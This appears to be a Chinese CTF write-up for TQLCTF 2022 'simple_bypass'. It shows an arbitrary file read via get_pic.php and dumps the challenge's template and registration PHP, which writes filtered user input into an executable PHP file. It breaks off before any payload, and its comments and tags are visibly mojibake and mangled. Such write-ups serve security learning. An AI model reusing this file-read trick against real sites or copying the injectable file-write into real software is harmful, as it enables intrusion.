• [TQLCTF 2022]simple_bypass


    前言

    脑洞好大好大的题目,又被秀到了。不得不佩服。

    标签

    WEB PHP LFI RCE 无字母RCE

    解题

    进入页面要求注册:

    注册后进入页面:

    每个功能点都试一遍:

    最特殊的是那个好康的,我们看一下它从哪里来。

    发现是一个php文件里面来的,我们访问看一下,访问发现有一个任意文件读取

    读取文件:

    1. html>
    2. <html xmlns="http://www.w3.org/1999/xhtml">
    3. <head>
    4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    5. <title>Simple Linuxtitle>
    6. <style type="text/css">
    7. style>
    8. <link rel="stylesheet" href="../js/themes/base/jquery.ui.all.css" />
    9. <link rel="stylesheet" href="../js/jquery-smartMenu/css/smartMenu.css" />
    10. <script type="text/javascript" src="../js/jquery-1.6.2.js">script>
    11. <script type="text/javascript" src="../js/myLib.js">script>
    12. <script type="text/javascript" src="../js/jquery-ui-1.8.16.custom.min.js">script>
    13. <script type="text/javascript" src="../js/jquery.winResize.js">script>
    14. <script type="text/javascript" src="../js/jquery-smartMenu/js/mini/jquery-smartMenu-min.js">script>
    15. <script type="text/javascript">
    16. //声ædesktop空é´,å°è£ç¸å³æä½
    17. myLib.NS("desktop");
    18. myLib.desktop={
    19. winWH:function(){
    20. $('body').data('winWh',{'w':$(window).width(),'h':$(window).height()});
    21. },
    22. desktopPanel:function(){
    23. $('body').data('panel',{
    24. 'taskBar':{
    25. '_this':$('#taskBar'),
    26. 'task_lb':$('#task_lb')
    27. },
    28. 'lrBar':{
    29. '_this':$('#lr_bar'),
    30. 'default_app':$('#default_app'),
    31. 'start_block':$('#start_block'),
    32. 'start_btn':$('#start_btn'),
    33. 'start_item':$('#start_item'),
    34. 'default_tools':$('#default_tools')
    35. },
    36. 'deskIcon':{
    37. '_this':$('#deskIcon'),
    38. 'icon':$('li.desktop_icon')
    39. },
    40. 'powered_by':$('a.powered_by')
    41. });
    42. },
    43. getMydata:function(){
    44. return $('body').data();
    45. },
    46. mouseXY:function(){
    47. var mouseXY=[];
    48. $(document).bind('mousemove',function(e){
    49. mouseXY[0]=e.pageX;
    50. mouseXY[1]=e.pageY;
    51. });
    52. return mouseXY;
    53. },
    54. contextMenu:function(jqElem,data,menuName,textLimit){
    55. var _this=this
    56. ,mXY=_this.mouseXY();
    57. jqElem
    58. .smartMenu(data,{
    59. name: menuName,
    60. textLimit:textLimit,
    61. afterShow:function(){
    62. var menu=$("#smartMenu_"+menuName);
    63. var myData=myLib.desktop.getMydata(),
    64. wh=myData.winWh;//è·åå½ådocument宽é«
    65. var menuXY=menu.offset(),menuH=menu.height(),menuW=menu.width();
    66. if(menuXY.top>wh['h']-menuH){
    67. menu.css('top',mXY[1]-menuH-2);
    68. }
    69. if(menuXY.left>wh['w']-menuW){
    70. menu.css('left',mXY[0]-menuW-2);
    71. }
    72. }
    73. });
    74. $(document.body).click(function(event){
    75. event.preventDefault();
    76. $.smartMenu.hide();
    77. });
    78. }
    79. }
    80. //çªå£ç¸å³æä½
    81. myLib.NS("desktop.win");
    82. myLib.desktop.win={
    83. winHtml:function(title,url,id){
    84. return "
      +id
    85. +">
      "
    86. +title
    87. +"
      ";
  • },
  • //æ·»å é®éå±ï¼ä¿®å¤iframe é¼ æ ç»è¿äºä»¶bug
  • iframFix:function(obj){
  • obj.each(function(){
  • var o=$(this);
  • if(o.find('.zzDiv').size()<=0)
  • o.append($("
    "
    ));
  • })
  • },
  • //è·åå½åçªå£æå¤§çz-indexå¼
  • maxWinZindex:function($win){
  • return Math.max.apply(null, $.map($win, function (e, n) {
  • if ($(e).css('position') == 'absolute')
  • return parseInt($(e).css('z-index')) || 1;
  • }));
  • },
  • findTopWin:function($win,maxZ){
  • var topWin;
  • $win.each(function(index){
  • if($(this).css("z-index")==maxZ){
  • topWin=$(this);
  • return false;
  • }
  • });
  • return topWin;
  • },
  • //å³é­çªå£
  • closeWin:function(obj){
  • var _this=this,$win=$('div.windows').not(":hidden"),maxZ,topWin;
  • myLib.desktop.taskBar.delWinTab(obj);
  • obj.hide('slow',function(){
  • $(this).remove();
  • });
  • //å½å³é­çªå£åå¯»æ¾æå¤§z-indexççªå£å¹¶ä½¿å¶åºå¥éæ©ç¶æ
  • if($win.size()>1){
  • maxZ=_this.maxWinZindex($win.not(obj));
  • topWin=_this.findTopWin($win,maxZ);
  • _this.switchZindex(topWin);
  • }
  • },
  • minimize:function(obj){
  • var _this=this,$win=$('div.windows').not(":hidden"),maxZ,topWin,objTab;
  • obj.hide();
  • //æå°åçªå£åï¼å¯»æ¾æå¤§z-indexçªå£è³é¡¶
  • if($win.size()>1){
  • maxZ=_this.maxWinZindex($win.not(obj));
  • topWin=_this.findTopWin($win,maxZ);
  • _this.switchZindex(topWin);
  • }else{
  • objTab=myLib.desktop.taskBar.findWinTab(obj);
  • objTab.removeClass('selectTab').addClass('defaultTab');
  • }
  • },
  • //æå¤§åçªå£å½æ°
  • maximizeWin:function(obj){
  • var myData=myLib.desktop.getMydata(),
  • wh=myData.winWh;//è·åå½ådocument宽é«
  • obj
  • .css({'width':wh['w'],'height':wh['h']-35,'left':0,'top':0})
  • .draggable( "disable" )
  • .resizable( "disable" )
  • .fadeTo("fast",1)
  • .find(".winframe")
  • .css({'width':wh['w']-6,'height':wh['h']-64});
  • },
  • //è¿åçªå£å½æ°
  • hyimizeWin:function(obj){
  • var myData=obj.data(),
  • winLocation=myData.winLocation;//è·åçªå£æå¤§ååçä½ç½®å¤§å°
  • obj.css({'width':winLocation['w'],'height':winLocation['h'],'left':winLocation['left'],'top':winLocation['top']})
  • .draggable( "enable" )
  • .resizable( "enable" )
  • .find(".winframe")
  • .css({'width':winLocation['w']-6,'height':winLocation['h']-29});
  • },
  • //交æ¢çªå£z-indexå¼
  • switchZindex:function(obj){
  • var myData=myLib.desktop.getMydata()
  • ,$topWin=myData.topWin
  • ,$topWinTab=myData.topWinTab
  • ,curWinZindex=obj.css("z-index")
  • ,maxZ=myData.maxZindex
  • ,objTab=myLib.desktop.taskBar.findWinTab(obj);
  • if(!$topWin.is(obj)){
  • obj.css("z-index",maxZ);
  • objTab.removeClass('defaultTab').addClass('selectTab');
  • $topWin.css("z-index",curWinZindex);
  • $topWinTab.removeClass('selectTab').addClass('defaultTab');
  • this.iframFix($topWin);
  • //æ´æ°æé¡¶å±çªå£å¯¹è±¡
  • $('body').data("topWin",obj).data("topWinTab",objTab);
  • }
  • },
  • //æ°å»ºçªå£å®ä¾
  • newWin:function(options){
  • var _this=this;
  • var myData=myLib.desktop.getMydata(),
  • wh=myData.winWh,//è·åå½ådocument宽é«
  • $windows=$("div.windows"),
  • curwinNum=myLib._is(myData.winNum,"Number")?myData.winNum:0;//夿­å½åå·²æå¤å°çªå£
  • _this.iframFix($windows);
  • //é»è®¤åæ°éç½®
  • var defaults = {
  • WindowTitle: null,
  • WindowsId: null,
  • WindowPositionTop: 'center', /* Posible are pixels or 'center' */
  • WindowPositionLeft: 'center', /* Posible are pixels or 'center' */
  • WindowWidth: Math.round(wh['w']*0.6), /* Only pixels */
  • WindowHeight: Math.round(wh['h']*0.8), /* Only pixels */
  • WindowMinWidth: 250, /* Only pixels */
  • WindowMinHeight: 250, /* Only pixels */
  • iframSrc: null, /* æ¡æ¶çsrcè·¯å¾*/
  • WindowResizable: true, /* true, false*/
  • WindowMaximize: true, /* true, false*/
  • WindowMinimize: true, /* true, false*/
  • WindowClosable: true, /* true, false*/
  • WindowDraggable: true, /* true, false*/
  • WindowStatus: 'regular', /* 'regular', 'maximized', 'minimized' */
  • WindowAnimationSpeed: 500,
  • WindowAnimation: 'none'
  • };
  • var options = $.extend(defaults, options);
  • //夿­çªå£ä½ç½®ï¼å¦å使ç¨é»è®¤å¼
  • var wLeft=myLib._is(options['WindowPositionLeft'],"Number")?options['WindowPositionLeft']:(wh['w']-options['WindowWidth'])/2;
  • var wTop=myLib._is(options['WindowPositionTop'],"Number")?options['WindowPositionTop']:(wh['h']-options['WindowHeight'])/2;
  • //ç»çªå£èµäºæ°çz-indexå¼
  • var zindex=curwinNum+100;
  • var id="myWin_"+options['WindowsId'];//æ ¹æ®ä¼ æ¥çidå°ä½ä¸ºæ°çªå£id
  • $('body').data("winNum",curwinNum+1);//æ´æ°çªå£æ°é
  • //夿­å¦ææ­¤idççªå£å­å¨ï¼åä¸å建çªå£
  • if($("#"+id).size()<=0){
  • //å¨ä»»å¡æ éæ·»å tab
  • myLib.desktop.taskBar.addWinTab(options['WindowTitle'],options['WindowsId']);
  • //åå§åæ°çªå£å¹¶æ¾ç¤º
  • $("body").append($(_this.winHtml(options['WindowTitle'],options['iframSrc'],id)));
  • var $newWin=$("#"+id)
  • ,$icon=$("#"+options['WindowsId'])
  • ,$iconOffset=$icon.offset()
  • ,$fram=$newWin.children(".winframe")
  • ,winMaximize_btn=$newWin.find('a.winMaximize')//æå¤§åæé®
  • ,winMinimize_btn=$newWin.find('a.winMinimize')//æå°åæé®
  • ,winClose_btn=$newWin.find('a.winClose')//å³é­æé®
  • ,winHyimize_btn=$newWin.find('a.winHyimize');//è¿åæé®
  • winHyimize_btn.hide();
  • if(!options['WindowMaximize']) winMaximize_btn.hide();
  • if(!options['WindowMinimize']) winMinimize_btn.hide();
  • if(!options['WindowClosable']) winClose_btn.hide();
  • //å­å¨çªå£æå¤§çz-indexå¼,åæé¡¶å±çªå£å¯¹è±¡
  • $('body').data({"maxZindex":zindex,"topWin":$newWin});
  • //夿­çªå£æ¯å¦å¯ç¨å¨ç»ææ
  • if(options.WindowAnimation=='none'){
  • $newWin
  • .css({"width":options['WindowWidth'],"height":options['WindowHeight'],"left":wLeft,"top":wTop,"z-index":zindex})
  • .addClass("loading")
  • .show();
  • }else{
  • $newWin
  • .css({"left":$iconOffset.left,"top":$iconOffset.top,"z-index":zindex})
  • .addClass("loading")
  • .show()
  • .animate({
  • width: options['WindowWidth'],
  • height:options['WindowHeight'],
  • top: wTop,
  • left: wLeft}, 500);
  • }
  • $newWin
  • .data('winLocation',{
  • 'w':options['WindowWidth'],
  • 'h':options['WindowHeight'],
  • 'left':wLeft,
  • 'top':wTop
  • })
  • .find(".winframe")
  • .css({"width":options['WindowWidth']-6,"height":options['WindowHeight']-29})
  • //ç­å¾iframeå è½½å®æ¯
  • //.load(function(){
  • //è°ç¨çªå£æå¨,忰坿å¨çèå´ä¸ä¸å·¦å³ï¼çªå£idåï¼æµè§å¨å¯è§çªå£å¤§å°
  • if(options['WindowDraggable']){
  • _this.drag([0,0,wh['w']-options['WindowWidth']-10,wh['h']-options['WindowHeight']-35],id,wh);
  • }
  • //è°ç¨çªå£resize,ä¼ éæå¤§æå°å®½åº¦åé«åº¦ï¼æ°çªå£å¯¹è±¡idï¼æµè§å¨å¯è§çªå£å¤§å°
  • if(options['WindowResizable']){
  • _this.resize(options['WindowMinWidth'],options['WindowMinHeight'],wh['w']-wLeft,wh['h']-wTop-35,id,wh);
  • }
  • //彿¹åæµè§å¨çªå£å¤§å°æ¶ï¼æ´æ°å¶æå¨åææ³åºå大å°
  • $(window).wresize(function(){
  • _this.upWinDrag_block($newWin);
  • _this.upWinResize_block($newWin);
  • });
  • //});
  • //妿æå¤ä¸ªçªå£ï¼å½åå»æä¸ªçªå£ï¼å使此çªå£æ¾ç¤ºå°æä¸é¢
  • if(curwinNum){
  • var $allwin=$("div.windows");
  • $allwin.bind({
  • "mousedown":function(event){
  • _this.switchZindex($(this));
  • },
  • "mouseup":function(){
  • $(this).find('.zzDiv').remove();
  • }
  • });
  • }
  • //çªå£æå¤§åï¼æå°åï¼åå³é­
  • winClose_btn.click(function(event){
  • event.stopPropagation();
  • _this.closeWin($(this).parent().parent().parent());
  • });
  • //æå¤§å
  • winMaximize_btn.click(function(event){
  • event.stopPropagation();
  • if(options['WindowStatus']=="regular"){
  • _this.maximizeWin($(this).parent().parent().parent());
  • $(this).hide();
  • winHyimize_btn.show();
  • options['WindowStatus']="maximized";
  • }
  • });
  • //è¿åçªå£
  • winHyimize_btn.click(function(event){
  • event.stopPropagation();
  • if(options['WindowStatus']=="maximized"){
  • _this.hyimizeWin($(this).parent().parent().parent());
  • $(this).hide();
  • winMaximize_btn.show();
  • options['WindowStatus']="regular";
  • }
  • });
  • //æå°åçªå£
  • winMinimize_btn.click(function(){
  • _this.minimize($(this).parent().parent().parent());
  • });
  • }else{//妿已å­å¨æ­¤çªå£ï¼å¤æ­æ¯å¦éè
  • var wins=$("#"+id),objTab=myLib.desktop.taskBar.findWinTab(wins);
  • if(wins.is(":hidden")){
  • wins.show();
  • objTab.removeClass('defaultTab').addClass('selectTab');//å½åªæä¸ä¸ªçªå£æ¶
  • myLib.desktop.win.switchZindex(wins);
  • }
  • }
  • },
  • upWinResize_block:function(win){
  • //æ´æ°çªå£å¯æ¹å大å°èå´,wh为æµè§å¨çªå£å¤§å°
  • var offset=win.offset();
  • win.resizable( "option" ,{'maxWidth':$(window).width()-offset.left-10,'maxHeight':$(window).height()-offset.top-35})
  • },
  • upWinDrag_block:function(win){
  • var h=win.innerHeight()
  • ,w=win.innerWidth();
  • //æ´æ°çªå£å¯æå¨åºå大å°
  • win.draggable( "option", "containment", [10,10,$(window).width()-w-10,$(window).height()-h-35] )
  • },
  • drag:function(arr,win_id,wh){
  • var _this=this;
  • $("#"+win_id)
  • .draggable({
  • handle: "#"+win_id+' .win_title',
  • iframeFix:false,
  • containment:arr,
  • delay: 50 ,
  • distance: 30
  • })
  • .bind("dragstart",function(event,ui){
  • _this.iframFix($(this));
  • })
  • .bind( "dragstop", function(event, ui) {
  • var obj_this=$(this);
  • var offset=obj_this.offset();
  • //计ç®å¯ææ³èå´
  • _this.upWinResize_block(obj_this);
  • obj_this
  • //æ´æ°çªå£å­å¨çä½ç½®å±æ§
  • .data('winLocation',{
  • 'w':obj_this.width(),
  • 'h':obj_this.height(),
  • 'left':offset.left,
  • 'top':offset.top
  • })
  • .find('.zzDiv').remove();
  • });
  • $("div.win_title").css("cursor","move");
  • },
  • resize:function(minW,minH,maxW,maxH,win_id,wh){
  • var _this=this;
  • $("#"+win_id)
  • .resizable({
  • minHeight:minH,
  • minWidth:minW,
  • containment:'document',
  • maxWidth:maxW,
  • maxHeight:maxH
  • })
  • .css("position","absolute")
  • .bind( "resize", function(event, ui) {
  • var h=$(this).innerHeight(),w=$(this).innerWidth();
  • _this.iframFix($(this));
  • //ææ³æ¹åçªå£å¤§å°ï¼æ´æ°iframe宽度åé«åº¦ï¼å¹¶æ¾ç¤ºiframe
  • $(this).children(".winframe").css({"width":w-6,"height":h-29});
  • })
  • .bind( "resizestop", function(event, ui) {
  • var obj_this=$(this);
  • var offset=obj_this.offset();
  • var h=obj_this.innerHeight(),w=obj_this.innerWidth();
  • //æ´æ°çªå£å¯æå¨åºå大å°
  • _this.upWinDrag_block(obj_this);
  • obj_this
  • //æ´æ°çªå£å­å¨çä½ç½®å±æ§
  • .data('winLocation',{
  • 'w':w,
  • 'h':h,
  • 'left':offset.left,
  • 'top':offset.top
  • })
  • //å é¤é®éiframeçå±
  • .find(".zzDiv").remove();
  • });
  • }
  • }
  • //ä¾§è¾¹å·¥å·æ 
  • myLib.NS("desktop.lrBar");
  • myLib.desktop.lrBar={
  • init:function(){
  • //读ååç´ å¯¹è±¡æ°æ®
  • var myData=myLib.desktop.getMydata();
  • var $default_tools=myData.panel.lrBar['default_tools']
  • ,$def_tools_Btn=$default_tools.find('span')
  • ,$start_btn=myData.panel.lrBar['start_btn']
  • ,$start_item=myData.panel.lrBar['start_item']
  • ,$default_app=myData.panel.lrBar['default_app']
  • ,$lrBar=myData.panel.lrBar['_this']
  • ,wh=myData.winWh;
  • //åå§åä¾§æ ä½ç½®
  • var tops=Math.floor((wh['h']-$lrBar.height())/2)-50;
  • $lrBar.css({'top':tops});
  • //妿çªå£å¤§å°æ¹åï¼åæ´æ°ä¾§è¾¹æ ä½ç½®
  • $(window).wresize(function(){
  • var tops=Math.floor(($(window).height()-$lrBar.height())/2)-50;
  • $lrBar.css({'top':tops});
  • });
  • //任塿 å³è¾¹é»è®¤ç»ä»¶åºåäº¤äºææ
  • $def_tools_Btn.hover(function(){
  • $(this).css("background-color","#999");
  • },function(){
  • $(this).css("background-color","transparent");
  • });
  • //é»è®¤åºç¨ç¨åºåº
  • $default_app
  • .find('li')
  • .hover(function(){
  • $(this).addClass('btnOver');
  • },function(){
  • $(this).removeClass('btnOver');
  • })
  • .find('img').dblclick(function(){
  • var title=$(this).attr('title'),wid=$(this).parent().attr('id');
  • var href= $(this).attr('path');
  • myLib.desktop.win.newWin({
  • WindowTitle:title,
  • iframSrc:href,
  • WindowsId:wid,
  • WindowAnimation:'easeInBack'
  • });
  • })
  • .end()
  • .end()
  • .sortable({
  • revert: true
  • });
  • //å¼å§æé®ãèåäº¤äºææ
  • $start_btn.click(function(event){
  • event.preventDefault();
  • event.stopPropagation()
  • if($start_item.is(":hidden"))
  • $start_item.show();
  • else
  • $start_item.hide();
  • });
  • $("body").click(function(event){
  • event.preventDefault();
  • $start_item.hide();
  • });
  • }
  • }
  • /*----------------------------------------------------------------------------------
  • //声æä»»å¡æ ç©ºé´ï¼ä»»å¡æ ç¸å³jsæä½
  • ----------------------------------------------------------------------------------*/
  • myLib.NS("desktop.taskBar");
  • myLib.desktop.taskBar={
  • timer:function(obj){
  • var curDaytime=new Date().toLocaleString().split(" ");
  • obj.innerHTML=curDaytime[1];
  • obj.title=curDaytime[0];
  • setInterval(function(){obj.innerHTML=new Date().toLocaleString().split(" ")[1];},1000);
  • },
  • upTaskWidth:function(){
  • var myData=myLib.desktop.getMydata()
  • ,$task_bar=myData.panel.taskBar['_this'];
  • var maxHdTabNum=Math.floor($(window).width()/100);
  • //计ç®ä»»å¡æ å®½åº¦
  • $task_bar.width(maxHdTabNum*100);
  • //å­å¨æ´»å¨ä»»å¡æ tabé»è®¤ç»æ°
  • $('body').data("maxHdTabNum",maxHdTabNum-2);
  • },
  • init:function(){
  • //读ååç´ å¯¹è±¡æ°æ®
  • var myData=myLib.desktop.getMydata();
  • var $task_lb=myData.panel.taskBar['task_lb']
  • ,$task_bar=myData.panel.taskBar['_this']
  • ,wh=myData.winWh;
  • var _this=this;
  • _this.upTaskWidth();
  • //彿¹åæµè§å¨çªå£å¤§å°æ¶ï¼éæ°è®¡ç®ä»»å¡æ å®½åº¦
  • $(window).wresize(function(){
  • _this.upTaskWidth();
  • });
  • },
  • contextMenu:function(tab,id){
  • var _this=this;
  • //åå§å任塿 Tabå³é®èå
  • var data=[
  • [{
  • text:"æå¤§å",
  • func:function(){
  • $("#myWin_"+tab.data('win')).find('a.winMaximize').trigger('click');
  • }
  • },{
  • text:"æå°å",
  • func:function(){
  • myLib.desktop.win.minimize($("#myWin_"+tab.data('win')));
  • }
  • }]
  • ,[{
  • text:"å³é­",
  • func:function(){
  • $("#smartMenu_taskTab_menu"+id).remove();
  • myLib.desktop.win.closeWin($("#myWin_"+tab.data('win')));
  • }
  • }]
  • ];
  • myLib.desktop.contextMenu(tab,data,"taskTab_menu"+id,10);
  • },
  • addWinTab:function(text,id){
  • var myData=myLib.desktop.getMydata();
  • var $task_lb=myData.panel.taskBar['task_lb']
  • ,$task_bar=myData.panel.taskBar['_this']
  • ,tid="myWinTab_"+id
  • ,allTab=$task_lb.find('a')
  • ,curTabNum=allTab.size()
  • ,docHtml=""+text+"";
  • //æ·»å æ°çtab
  • $task_lb.append($(docHtml));
  • var $newTab=$("#"+tid);
  • //å³é®èå
  • this.contextMenu($newTab,id);
  • $task_lb
  • .find('a.selectTab')
  • .removeClass('selectTab')
  • .addClass('defaultTab');
  • $newTab
  • .data('win',id)
  • .addClass('selectTab')
  • .click(function(){
  • var win=$("#myWin_"+$(this).data('win'));
  • if(win.is(":hidden")){
  • win.show();
  • $(this).removeClass('defaultTab').addClass('selectTab');//å½åªæä¸ä¸ªçªå£æ¶
  • myLib.desktop.win.switchZindex(win);
  • }else{
  • if($(this).hasClass('selectTab')){
  • myLib.desktop.win.minimize(win);
  • }else{
  • myLib.desktop.win.switchZindex(win);
  • }
  • }
  • });
  • $('body').data("topWinTab",$newTab);
  • //å½ä»»å¡æ æ´»å¨çªå£æ°è¶åºæ¶
  • if(curTabNum>myData.maxHdTabNum-1){
  • var LeftBtn=$('#leftBtn')
  • ,rightBtn=$('#rightBtn')
  • ,bH;
  • LeftBtn
  • .show()
  • .find("a")
  • .click(function(){
  • var pos=$task_lb.position();
  • if(pos.top<0){
  • $task_lb.animate({
  • "top":pos.top+40
  • }, 50);
  • }
  • });
  • rightBtn
  • .show()
  • .find("a")
  • .click(function(){
  • var pos=$task_lb.position(),h=$task_lb.height(),row=h/40;
  • if(pos.top>(row-1)*(-40)){
  • $task_lb.animate({
  • "top": pos.top-40
  • }, 50);
  • }
  • });
  • $task_lb.parent().css("margin","0 100");
  • }
  • },
  • delWinTab:function(wObj){
  • var myData=myLib.desktop.getMydata()
  • ,$task_lb=myData.panel.taskBar['task_lb']
  • ,$task_bar=myData.panel.taskBar['_this']
  • ,LeftBtn=$('#leftBtn')
  • ,rightBtn=$('#rightBtn')
  • ,pos=$task_lb.position();
  • this.findWinTab(wObj).remove();
  • var newH=$task_lb.height();
  • if(Math.abs(pos.top)==newH){
  • LeftBtn.find('a').trigger("click");
  • }
  • if(newH==40){
  • LeftBtn.hide();
  • rightBtn.hide();
  • $task_lb.parent().css("margin",0);
  • }
  • },
  • findWinTab:function(wObj){
  • var myData=myLib.desktop.getMydata(),
  • $task_lb=myData.panel.taskBar['task_lb'],
  • objTab;
  • $task_lb.find('a').each(function(index){
  • var id="#myWin_"+$(this).data("win");
  • if($(id).is(wObj)){
  • objTab=$(this);
  • }
  • });
  • return objTab;
  • }
  • }
  • //æ¡é¢å¾æ 
  • myLib.NS("desktop.deskIcon");
  • myLib.desktop.deskIcon={
  • //æ¡é¢å¾æ æå
  • arrangeIcons:function(){
  • var myData=myLib.desktop.getMydata()
  • ,winWh=myData.winWh
  • ,$deskIconBlock=myData.panel.deskIcon['_this']
  • ,$icon=myData.panel.deskIcon['icon'];
  • //设置æ¡é¢å¾æ å®¹å¨åç´ åºå大å°
  • $deskIconBlock.css({"width":(winWh['w']-75)+"px","height":(winWh['h']-75)+"px","margin-top":"10px",'margin-left':'75px'});
  • //坹徿 å®ä½
  • var iconNum=$icon.size();
  • //å­å¨å½åæ»å±æå¤å°æ¡é¢å¾æ 
  • $('body').data('deskIconNum',iconNum);
  • var gH=110;//ä¸ä¸ªå¾æ æ»é«åº¦ï¼åæ¬ä¸ä¸margin
  • var gW=120;//徿 æ»å®½åº¦,忬左å³margin
  • var rows=Math.floor((winWh['h']-75)/gH);
  • var cols=Math.ceil(iconNum/rows);
  • var curcol=0,currow=0;
  • //alert(rows);
  • $icon.css({
  • "position":"absolute",
  • "margin":0,
  • "left":function(index,value){
  • var v=curcol*gW+30;
  • if((index+1)%rows==0){
  • curcol=curcol+1;
  • }
  • return v;
  • },
  • "top":function(index,value){
  • var v=(index-rows*currow)*gH+20;
  • if((index+1)%rows==0){
  • currow=currow+1;
  • }
  • return v;
  • }});
  • return $icon;
  • },
  • init:function(){
  • //å°å½åçªå£å®½åº¦åé«åº¦æ°æ®å­å¨å¨bodyåç´ ä¸
  • myLib.desktop.winWH();
  • var _this=this;//è°ç¨ç¶çº§å¯¹è±¡
  • var $icon=_this.arrangeIcons();
  • //妿çªå£å¤§å°æ¹åï¼åéæ°æå徿 
  • $(window).wresize(function(){
  • myLib.desktop.winWH();//æ´æ°çªå£å¤§å°æ°æ®
  • _this.arrangeIcons();
  • });
  • //徿 é¼ æ ç»è¿ææ
  • $icon.hover(function(){
  • $(this).addClass("desktop_icon_over");
  • },
  • function(){
  • $(this).removeClass("desktop_icon_over");
  • })
  • //åå»å¾æ æå¼çªå£
  • .dblclick(function(){
  • var title=$(this).children("div.text").text(),wid=this.id;
  • var href= this.getAttribute("path");
  • myLib.desktop.win.newWin({
  • WindowTitle:title,
  • iframSrc:href,
  • WindowsId:wid,
  • WindowAnimation:'easeInBack'
  • });
  • })
  • .draggable({
  • revert: true,
  • helper: "clone",
  • opacity: 0.7,
  • start: function(event, ui) {
  • var offset=$(this).offset();
  • $('body').data("curDragIcon",$(this));
  • }
  • })
  • .droppable({
  • drop: function() {
  • var curDragIcon=$('body').data("curDragIcon");
  • curDragIcon.insertAfter($(this));
  • var l=$(this).css('left'),t=$(this).css('top');
  • $(this).css({'left':curDragIcon.css('left'),'top':curDragIcon.css('top')});
  • curDragIcon.css({'left':l,'top':t});
  • },
  • });
  • //åå§åæ¡é¢å³é®èå
  • var data=[
  • [{
  • text:"æ¾ç¤ºæ¡é¢",
  • func:function(){}
  • }]
  • ,[{
  • text:"ç³»ç»è®¾ç½®",
  • func:function(){}
  • },{
  • text:"主é¢è®¾ç½®",
  • func:function(){}
  • }]
  • ,[{
  • text:"éåºç³»ç»",
  • func:function(){}
  • }]
  • ,[{
  • text:"å³äºsimple linux",
  • func:function(){}
  • }]
  • ];
  • myLib.desktop.contextMenu($(document.body),data,"body",10);
  • }
  • }
  • //å½é¡µé¢å è½½å®æ¯æ§è¡
  • $(function(){
  • //å­å¨æ¡é¢å¸å±åç´ çjquery对象
  • myLib.desktop.desktopPanel();
  • //åå§å任塿 
  • myLib.desktop.taskBar.init();
  • //åå§åæ¡é¢å¾æ 
  • myLib.desktop.deskIcon.init();
  • //åå§åä¾§è¾¹æ 
  • myLib.desktop.lrBar.init();
  • })
  • script>
  • head>
  • <body>
  • <div id="lr_bar">
  • <ul id="default_app">
  • <li id="app0"><img src="../img/icon1.png" title="bilibili" path="https://www.bilibili.com/"/>li>
  • <li id="app3"><img src="../img/icon2.png" title="ä¸çºªä½³ç¼" path="https://www.jiayuan.com/"/>li>
  • ul>
  • <div id="default_tools"> <span id="showZm_btn" title="æ¾ç¤ºæ¡é¢">span><span id="shizhong_btn" title="æ¶é">span><span id="weather_btn" title="天æ°">span> <span id="them_btn" title="主é¢">span>div>
  • <div id="start_block"> <a title="å¼å§" id="start_btn">a>
  • <div id="start_item">
  • <ul class="item admin">
  • <li><span class="adminImg">span>
  • error_reporting(0);
  • $user = ((string)__USER__);
  • $pass = ((string)__PASS__);
  • if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
  • echo($_COOKIE['user']);
  • }
  • else{
  • die("");
  • }
  • ?>
  • li>
  • ul>
  • <ul class="item">
  • <li><span class="sitting_btn">span>ç³»ç»è®¾ç½®li>
  • <li><span class="help_btn">span>ä½¿ç¨æå <b>b>li>
  • <li><span class="about_btn">span>å³äºæä»¬li>
  • <li><span class="logout_btn">span>éåºç³»ç»li>
  • ul>
  • div>
  • div>
  • div>
  • <a href="#" class="powered_by">__PUNC__a>
  • <ul id="deskIcon">
  • <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/>span>
  • <div class="text">å¾ç
  • <div class="right_cron">div>
  • div>
  • li>
  • <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/>span>
  • <div class="text">游æ
  • <div class="right_cron">div>
  • div>
  • li>
  • <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/>span>
  • <div class="text"><b>好康çb>
  • <div class="right_cron">div>
  • div>
  • li>
  • <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/>span>
  • <div class="text"><b>ä½ çç½ç«b>
  • <div class="right_cron">div>
  • div>
  • li>
  • ul>
  • <div id="taskBar">
  • <div id="leftBtn"><a href="#" class="upBtn">a>div>
  • <div id="rightBtn"><a href="#" class="downBtn">a> div>
  • <div id="task_lb_wrap">
  • <div id="task_lb">div>
  • div>
  • div>
  • div>
  • body>
  • html>
  • ">
  • error_reporting(0);
  • if(isset($_POST['user']) && isset($_POST['pass'])){
  • $hash_user = md5($_POST['user']);
  • $hash_pass = 'zsf'.md5($_POST['pass']);
  • if(isset($_POST['punctuation'])){
  • //filter
  • if (strlen($_POST['user']) > 6){
  • echo("");
  • }
  • elseif(strlen($_POST['website']) > 25){
  • echo("");
  • }
  • elseif(strlen($_POST['punctuation']) > 1000){
  • echo("");
  • }
  • else{
  • if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
  • if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
  • $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
  • $template = file_get_contents('./template.html');
  • $content = str_replace("__USER__", $_POST['user'], $template);
  • $content = str_replace("__PASS__", $hash_pass, $content);
  • $content = str_replace("__WEBSITE__", $_POST['website'], $content);
  • $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
  • file_put_contents('sandbox/'.$hash_user.'.php', $content);
  • echo("");
  • }
  • else{
  • echo("");
  • }
  • }
  • else{
  • echo("");
  • }
  • }
  • }
  • else{
  • setcookie("user", $_POST['user'], time()+3600);
  • setcookie("pass", $hash_pass, time()+3600);
  • Header("Location:sandbox/$hash_user.php");
  • }
  • }
  • ?>
  • html>
  • <html lang="zh">
  • <head>
  • <meta charset="UTF-8">
  • <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  • <meta name="viewport" content="width=device-width, initial-scale=1.0">
  • <title>Simple Linuxtitle>
  • <link rel="stylesheet" type="text/css" href="css/styles.css">
  • head>
  • <body>
  • <div class="jq22-container" style="padding-top:100px">
  • <div class="login-wrap">
  • <div class="login-html">
  • <input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign Inlabel>
